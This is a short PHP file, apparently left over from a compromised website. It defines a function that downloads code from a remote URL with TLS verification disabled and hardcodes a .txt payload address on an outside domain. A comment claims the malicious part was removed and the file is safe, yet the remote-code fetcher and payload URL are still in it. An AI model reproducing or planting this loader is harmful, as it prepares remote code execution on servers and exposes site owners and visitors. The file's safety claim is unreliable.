<?php
function getRemoteCode($url) {
    // Coba ambil dengan file_get_contents
    $kode = @file_get_contents($url);
    
    // Jika gagal, gunakan cURL
    if ($kode === false) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Abaikan verifikasi SSL jika perlu
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Ikuti redirect jika ada
        curl_setopt($ch, CURLOPT_TIMEOUT, 10); // Timeout agar tidak hang
        $kode = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        // Periksa apakah permintaan berhasil
        if ($http_code !== 200 || empty($kode)) {
            return false;
        }
    }
    
    return $kode;
}

$url = "https://seneporno.com/4.txt";

/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/

?>